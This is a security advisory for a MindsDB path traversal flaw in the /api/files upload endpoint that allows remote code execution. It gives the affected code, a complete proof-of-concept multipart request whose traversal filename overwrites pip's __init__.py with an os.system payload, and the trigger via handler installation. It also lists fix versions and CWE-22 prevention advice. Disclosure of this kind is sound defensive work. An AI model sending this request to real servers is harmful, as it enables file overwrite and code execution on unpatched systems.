Skip to content

GHSA-4894-xqv6-vrfq CVE-2026-27483 PYSEC-2026-2205

MindsDB: Path Traversal in /api/files Leading to Remote Code Execution

High PyPI
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
10.99%
Chance of exploitation in the next 30 days. Higher than 95.90% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
25.9.1.1
Upgrade mindsdb to this version or later

Description

Summary

There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.

Details

The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:

@ns_conf.route("/<name>")
@ns_conf.param("name", "MindsDB's name for file")
class File(Resource):
    @ns_conf.doc("put_file")
    @api_endpoint_metrics('PUT', '/files/file')
    def put(self, name: str):
        """add new file
        params in FormData:
            - file
            - original_file_name [optional]
        """

        data = {}
        mindsdb_file_name = name

        existing_file_names = ca.file_controller.get_files_names()

        def on_field(field):
            name = field.field_name.decode()
            value = field.value.decode()
            data[name] = value

        file_object = None

        def on_file(file):
            nonlocal file_object
            data["file"] = file.file_name.decode()
            file_object = file.file_object

        temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")

        if request.headers["Content-Type"].startswith("multipart/form-data"):
            parser = multipart.create_form_parser(
                headers=request.headers,
                on_field=on_field,
                on_file=on_file,
                config={
                    "UPLOAD_DIR": temp_dir_path.encode(),  # bytes required
                    "UPLOAD_KEEP_FILENAME": True,
                    "UPLOAD_KEEP_EXTENSIONS": True,
                    "MAX_MEMORY_FILE_SIZE": 0,
                },
            )

            while True:
                chunk = request.stream.read(8192)
                if not chunk:
                    break
                parser.write(chunk)
            parser.finalize()
            parser.close()

            if file_object is not None:
                if not file_object.closed:
                    try:
                        file_object.flush()
                    except (AttributeError, ValueError, OSError):
                        logger.debug("Failed to flush file_object before closing.", exc_info=True)
                    file_object.close()
                file_object = None
        else:
            data = request.json

Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.

PoC

This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.

The API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:

  1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/init.py with a malicious Python script.
  2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip.

Exploit:

PUT /api/files/mm HTTP/1.1
Host: ip:47334
Content-Length: 579
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
Origin: http://ip:47334
Referer: http://ip:47334/fileUpload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8
Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be
Connection: keep-alive

------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="name"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source_type"

file
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
Content-Type: text/plain

import os
os.system("touch /tmp/rce_by_hacker")
------WebKitFormBoundaryv9dZC0cAHLlHSHD9--

After sending this request, you can observe the logs in Docker's output:

2025-05-30 02:26:52,432            http INFO     python_multipart.multipart: Opening a file on disk
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'

At this point, you can see that the file has been successfully overwritten:

root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py
import os
os.system("touch /tmp/rce_by_hacker")

Afterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.

Affected versions

PyPI

PackageVulnerableFixed in
mindsdb
< 25.9.1.1
25.9.1.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

mindsdb PyPI → 25.9.1.1

pip
pip install --upgrade "mindsdb>=25.9.1.1"
poetry
poetry add "mindsdb>=25.9.1.1"
uv
uv add "mindsdb>=25.9.1.1"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9f6m-65v9-x9g2
MindsDB has an Improper Access Control Issue
High Also affects mindsdb
GHSA-6xw9-2p64-7622
MindsDB affected by a SSRF vulnerability
High Also affects mindsdb
GHSA-qqhf-pm3j-96g7
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Critical Also affects mindsdb
GHSA-32fj-r8qw-r8w8
MindsDB Cross-site Scripting vulnerability
Medium Also affects mindsdb
GHSA-crmg-rp64-5cm3
MindsDB Eval Injection vulnerability
High Also affects mindsdb
GHSA-wf9g-c67g-h4ch
MindsDB Eval Injection vulnerability
High Also affects mindsdb
GHSA-wcjw-3v6p-4v3r
MindsDB Eval Injection vulnerability
High Also affects mindsdb
GHSA-v6g6-3cm3-vf6c
MindsDB Eval Injection vulnerability
High Also affects mindsdb
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor